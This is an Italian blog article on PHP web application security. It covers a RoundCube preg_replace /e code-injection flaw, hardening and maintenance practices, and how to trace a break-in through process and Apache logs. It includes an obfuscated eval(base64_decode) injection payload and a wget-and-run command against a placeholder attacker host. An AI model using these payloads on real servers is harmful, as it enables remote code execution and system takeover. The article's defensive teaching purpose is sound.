1. Homepage
  2. Articoli
  3. Video
  4. Bash scripting
  5. Sistema
  6. Tips
  7. News


Poche maledette righe di PHP

» Author: Andrea Ganduglia Date: 2009-10-11 06:12:59 Copyright: (c)2009 Andrea Ganduglia

Indice dei contenuti


Intro

Partiamo da qui:

  1 <?php
  2     error_reporting(0);
  3     $h = $HTTP_RAW_POST_DATA;
  4     preg_replace('/<b>(.*?)<\/b>/ie','"\\1"',$h);
  5 ?>

Questo breve listato PHP dovrebbe prendere la stringa $h e selezionare solo la parte inclusa tra i tag HTML <b>, ovvero se $h = "<b>Hello World!</b>;" dovrebbe restituire Hello World!. Il problema nasce nella gestione del comando PHP eval da parte di preg_replace, infatti se $h forse qualcosa di simile a

	$h = '<b>'.eval(base64_decode("c3lzdGVtKCJscyIpOwo=")).'</b>';

quello che viene restituito da questo codice sarà molto diveso dall'esempio precedente! Il codice codificato in BASE64 viene infatti eseguito (in questo caso si tratta di system("ls");), permettendo dunque l'esecuzione di comandi PHP arbitrari.

Quella mostrata è una vulnerabiltà abbastanza vecchia di RoundCube WebMail (<= 0.2) e che può essere sfruttata con un semplice exploit basato su netcat: un buon punto di partenza per parlare della sicurezza degli applicativi PHP spesso minata da poche maledette righe di codice.

Dove nasce il problema

Per quanto ben progettato, scritto e testato, non esiste un applicativo completamente sicuro, ovvero esente da vulnerabilità più o meno gravi. Qui parliamo di applicativi PHP, con particolare riferimento a quelli free software (ma non solo), perché per diffusione e modalità di installazione, utilizzo, manutenzione e aggiornamento rappresentano forse la fetta più importante dei bersagli dei cracker e sono sicuramente una rogna infinita per molti sistemisti.

Non tutte le vulnerabilità sono uguali ovviamente. Alcune permettono di modificare i contenuti del sito oggetto dell'attacco, altri di ottenere la password o l'hash della password di amministrazione o altre informazioni riservate, alcuni, e sono i più pericolosi, come quello mostrato poco sopra, permettono di accedere ad una shell con i privilegi del webserver. Molto ovviamente dipende da come è configurato PHP e il webserver (parliamo di Apache), ma diciamo che in una installazione standard l'attacco più promettente è il seguente:

cd /tmp;wget http://host.del-crak.er/script.pl;perl script.pl

ed ecco che il vostro server Linux si è trasformato in un relay per il controllo remoto di una bootnet via IRC o qualcosa di altrettanto terribile.

Sul fronte del webserver si può far molto, per esempio disabilitando alcune funzioni PHP come exec, passthru, shell_exec, system, ecc., o facendo "girare" ogni virtualhost con permessi differenti, utilizzando chroot o qualche modulo di Apache, ma non sempre queste soluzioni sono applicabili o praticabili e soprattutto non sempre mettono completamente al sicuro o rendono automaticamente sicuri gli applicativi PHP installati.

Rimane dunque necessaria la massima attenzione alla vita dell'applicativo installato, perché per quanto possano essere limitati i danni, anche un frammento di codice ricorsivo può creare seri danni alle performance della macchina.

Fuori per buona condotta

Per evitare la maggior parte dei problemi è spesso sufficiente seguire dei semplici accorgimenti, così come per evitare l'influenza basta lavarsi le mani. Di seguito le best practise da seguire nella scelta, nell'installazione e nella manutenzione di un applicativo PHP.

  1. Scegli bene Scegli un software che sia sviluppato e che abbia una roadmap di lunga scadenza: per esempio evita di scegliere un CMS che non viene sviluppato da due anni o che ha scarse possibilità di sopravvivere al tuo progetto. Valuta bene questo aspetto, perché alcune volte la scelta può essere irreversibile.
  2. Fagli le pulci Informati sulla qualità del codice, verifica quante vulnerabilità sono state scoperte e quante sono state corrette e in quanto tempo. In vero, un software molto famoso come WordPress avrà molte più vulnerabilità note di un CMS meno famoso, ma questo non è significativo; ciò che lo è invece è sapere in quanto tempo sono state risolte e quanto è semplice e pratico applicare le patch.
  3. Personalizza! Al momento dell'installazione personalizza la maggior parte dei parametri: modifica i path, i nomi delle tabelle (o dei prefissi), scegli delle password robuste. Per esempio, se eviti di scegliere il prefisso della tabelle del DB che viene suggerito le sql injection saranno molto più difficili. Preferisci un applicativo che ti permetta di personalizzare questi aspetti!
  4. Tieniti aggiornato Iscriviti alla newsletter del tuo applicativo per essere informato in tempo reale di eventuali rischi legati alla tua installazione e impara a memoria la versione che stai utilizzando (es. 2.8.3): ti sarà utile!
  5. Aggiorna il software Prediligi un software che ti permetta di fare aggiornamenti live e che sia facile da aggiornare o che ancora abbia qualche opzione di autoaggiornamento: questo ti renderà la vita più facile, visto che se l'aggiornamento è difficile verrà quasi certamente rimandato nel tempo.
  6. Non fidarti degli estranei Usa solo plug-in ufficiali o supportati ufficialmente, oppure plug-in che seguano un ciclo di release in qualche modo legato all'applicativo core. Succede spesso, infatti, che il core non venga aggiornato perché renderebbe inutilizzabile uno specifico plug-in, con tutto ciò che ne consegue.
  7. Controlla i log I log sono la prima cosa da tenere d'occhio. Se vedi attività sospette, URL a cui vengono passati strani parametri, richieste POST dove non dovrebbero esserci, MSIE che scarica la pagina, ma non i CSS o le immagini, allora sta succedendo qualcosa che vale la tua attenzione.
  8. Prepara un Piano B Soprattutto in situazioni critiche, è utile preparare un Piano B, ovvero la migrazione ad un'altra piattaforma. Spesso questa operazione costa molti sacrifici e forse la sua fattibilità dovrebbe essere inclusa nei criteri di valutazione iniziale, tuttavia è necessario porvi attenzione fin da subito, soprattutto se la piattaforma scelta è proprietaria e per cui al momento del bisogno potresti non avere accesso al codice o al supporto o alle informazioni tecniche necessarie. Insomma: pensa ora ad un modo per svincolare i tuoi dati e le tue attività dalla piattaforma che hai scelto. E ricorda: un buon Piano B parte sempre da un backup totale dei dati.

Manutenzione degli applicativi

Il tipico attacco ad una piattaforma PHP parte da una vulnerabilità nota e non risolta, per questo occorre 1) essere sempre aggiornati sulle vulnerabilità del proprio software, 2) applicare gli aggiornamenti il prima possibile. Maggiore è infatti il tempo che passa tra la pubblicazione della vulnerabilità e l'applicazione della patch, maggiore è ovviamente il rischio che qualcuno possa decire di sfruttarla.

Una manutenzione (aggiornamento) costante è quindi il firewall migliore che si possa avere contro i tentativi di attacco, per questo, come si diceva poco sopra, è necessario scegliere un applicativo che possa essere aggiornato semplicemente e continuamente o che includa funzioni di aggiornamento guidato, gestito o automatico.

Plug-in o Cul-de-Sac?

La manutenzione poi riguarda anche e soprattutto i vari plug-in installati, che di solito rapprentano la minaccia peggiore, per due motivi.

  1. Di solito i plug-in sono sviluppati da terzi e hanno un ciclo di rilascio differente da quello del core, questo può significare che se avete scelto un applicativo che di solito rilascia le patch a 24h dalla pubblicazione dell'exploit, il plug-in potrebbe avere tempistiche molto differenti. Se il plug-in è affetto da qualche vulnerabilità, quindi, i tempi di aggiornamento dipenderanno dall'autore del plug-in: motivo per cui è necessario estendere i criteri visti sopra anche alla scelta delle componenti aggiuntive del tuo applicativo.
  2. Alcuni aggiornamenti del core rendono inservibili alcuni plug-in: il plug-in, quindi, per continuare a funzionare deve essere aggiornato, ma anche questa è una cosa a carico dell'autore del plug-in. Questo scarto temporale e di competenze potrebbe impedirti di aggiornare il core a lungo, costringendoti ad utilizzare del software non aggiornato; se poi il plug-in è centrale nella tua attività e non può essere sostituito (per motivi tecnici o economici, non è rilevante) si apre lo scenario peggiore: essere costretti a non aggiornare. Un cul-de-sac da cui è difficile uscire.

Customizza (e soffri)

Un problema diverso, ma che ha la stessa radice, è quello delle customizzazioni, ovvero delle più nostrane personalizzazioni. Si è sempre fatto un gran parlare della possibilità di personalizzare il software libero (anch'io ne sono un forte sostenitore) come la panacea di tutti i mali. Non ti piace OO.org? Lo puoi cambiare! Manca una funzionalità a WordPress? Aggiungila! La tua fotocamera non funziona con Linux? Scrivi il driver! E così via. Bellissimo. Intenso.

Per personalizzare un software ci sono principalmente due strade: la prima, conservativa, modifica il software originario convivendo con esso e integrandosi con il suo ciclo di sviluppo; la seconda, esclusiva, crea un così detto fork, una versione parallela e indipendente del software di partenza. La scelta risiede prima di tutto nell'obiettivo che si vuole perseguire.

Non c'è nulla di male nel personalizzare un applicativo PHP, ma nei termini di cui stiamo discutendo conta soprattutto l'aspetto della sicurezza. Una personalizzazione condotta con tutte le precauzioni - che sia indipendente o sostitutiva del core poco importa - non compromette nulla: nel caso più difficile, quello nel quale decidete di prendervi carico dello sviluppo futuro dell'intero applicativo (fork) sostituendovi agli autori, vi vedrà impegnati nel patchare a mano eventuali vulnerabilità residue e nel creare le nuove funzionalità. Se avete budget e tempo e siete consapevoli dell'impegno nel tempo che questa attività richiede, probabilmente si tratta di una buona scelta.

Nella mia esperienza di sistemista, però, ho visto personalizzazioni disastrose. Le peggiori sono quelle che aggiungono o modificano funzionalità quasi fossero soluzioni temporanee per poi calcificarsi e diventare l'asse portante di altre e più sostanziali modifiche. Parlo di interventi sulla struttura del DB, dell'aggiunta di controlli, di template modificati nella logica attraverso strumenti impropri, ecc. Queste modifiche fatte in fretta e senza un progetto organico, presto o tardi diventano difficili da sostituire e di fatto inibiscono ogni discorso di aggiornamento.

In poche parole potrebbe essere riassunto così: se stai modificando qualche file del core dell'applicativo e non stai facendo un fork allora ti stai con molta probabilità dando la zappa sui piedi.

Ragiona come un cracker

OK, è vero: ci sono degli amatori e dei ragazzini che fanno un po' di casino utilizzando exploit pubblici contro la tua installazione, ma non te ne devi preoccupare: non avendo un obiettivo preciso o lasciano perdere, o ti avvisano, o ti buttano giù il sito. Poca roba.

Poi invece ci sono i cracker di professione, che stanno in tutto il mondo e fanno business con lo spam, con i virus, con il furto di dati personali e di informazioni finanziarie, con la pedopornografia, ecc., o allestendo botnet pronte all'uso. Questi sono quelli di cui ti devi occupare, perché cercheranno di sfruttare le vulnerabilità della tua installazione per accedere alle risorse della tua macchina e con quelle fare il loro lavoro.

L'attività dei cracker è solitamente silenziosa e invisibile: l'obiettivo del cracker è usare la tua macchina il più a lungo possibile, farà quindi ogni tentativo per nascondere la propria presenza.

Un sistemista attento si può accorgere che qualcosa non va intercettando qualche strano processo o qualche strano file in /tmp o qualche strana attività nei log o per l'uso eccessivo di banda. Di solito, quando si scopre una attività anomala, vedremo più avanti, è sufficiente monitorare i processi del webserver ed incrociarli con i log dei siti ospitati per sapere dov'è la vulnerabilità e porvi rimedio.

Ma cosa si può fare prima? Semplice: ragiona come un cracker.

Preludio ad un attacco di solito è una scansione globale delle tue risorse, scansione che puoi identificare facilmente dai log di Apache (o del tuo webserver). I cracker hanno crawler che vanno in cerca di specifiche URL, quindi un cracker che analizza il tuo server lascerà una certa quantità di informazioni nei log sotto forma di richieste 404.

Queste richieste di solito provengono da IP stranieri e hanno User Agent falsificati, inoltre, di solito, non sono così sofisticati da mascherarsi da browser, quindi vedrai delle richieste senza referrer e/o che ignorano i file .css e .js legati alle pagine che visualizzano e/o che visualizzano un gran numero di pagine su domini differenti.

A questo livello puoi fare un check sulla sicurezza di specifiche applicazioni PHP se vi è qualche corrispondeza tra le URL cercate e quelle presenti sul tuo sistema (insomma se il cracker sta facendo un audit su una applicazione che è effettivamente presente sul server) e/o bloccare l'IP da cui provengono le richieste, anche se di solito bloccare un indirizzo IP significa soltanto rallentare il cracker, poiché quasi certamente non è l'unico IP di cui dispone (si tratta comunque di un ottimo punto di partenza che scoraggia il cracker, perché ricorda: lui vuole passare inosservato e tenderà a scartare un obiettivo che gli crea dei problemi).

Cosa fare per scoprire (e risolvere) il problema

Ora affrontiamo l'altro aspetto: sostetti che la tua macchina sia stata bucata e vuoi capire da dove entra il cracker e cosa sta facendo.

Il primo obiettivo dovrebbe essere quello di scoprire quale applicazione PHP è bucata e permette l'accesso.

Se sul tuo sever sono ospitate molte applicazioni PHP (ad esempio diverse decine o qualche centinaio di siti web) il lavoro da fare è veramente tanto, soprattutto se tutte le applicazioni girano sotto lo stesso utente (apache, www-data, ecc.), viceversa, se il tuo server ospita poche applicazioni o ciascuna gira sotto chroot o altro metodo per differenziare gli utenti, l'analisi sarà molto più semplice.

Di solito, solo un'analisi molto accurata dei log di tutti i domini può portare ad identificare l'applicazione sfruttata per penetrare il sistema, ma ci sono alcuni limiti: 1) sono alcuni attacchi possono essere identificati attraverso la solita analisi dei log, per es. le sql injection che producono strane e riconoscibili URL; 2) se i log sono molti perché hai molti domini e/o perché ricevi molte visite diventa un lavoro molto duro e il più delle volte vano.

Un metodo più sicuro, soprattutto per le vulnerabilità che permettono di eseguire comandi di shell, è registrare attraverso un demone tutti i processi del webserver e aspettare che il cracker si faccia vivo nuovamente. In questo caso si potrebbe avere in questo log usa strisciata tipo:

www-data 8460  0.0 0.0  1772 488 ? S    17:53   0:00 wget http://host.del-crak.er/script.pl;perl script.pl

che fornisce molte informazioni, come il comando utilizzato dal cracker unitamente all'ora di esecuzione. A questo punto è molto semplice individuare nei log di Apache (grazie ai riferimenti temporali) un piccolo insieme di richieste tra cui quella colpevole.

127.0.0.1 - - [21/Sep/2009:17:53:44 +0200] "GET /tmp/qq.php HTTP/1.1" 200 176 "" "netcat"

SPONSOR Problemi di sicurezza? Chiedi a Frequenze Software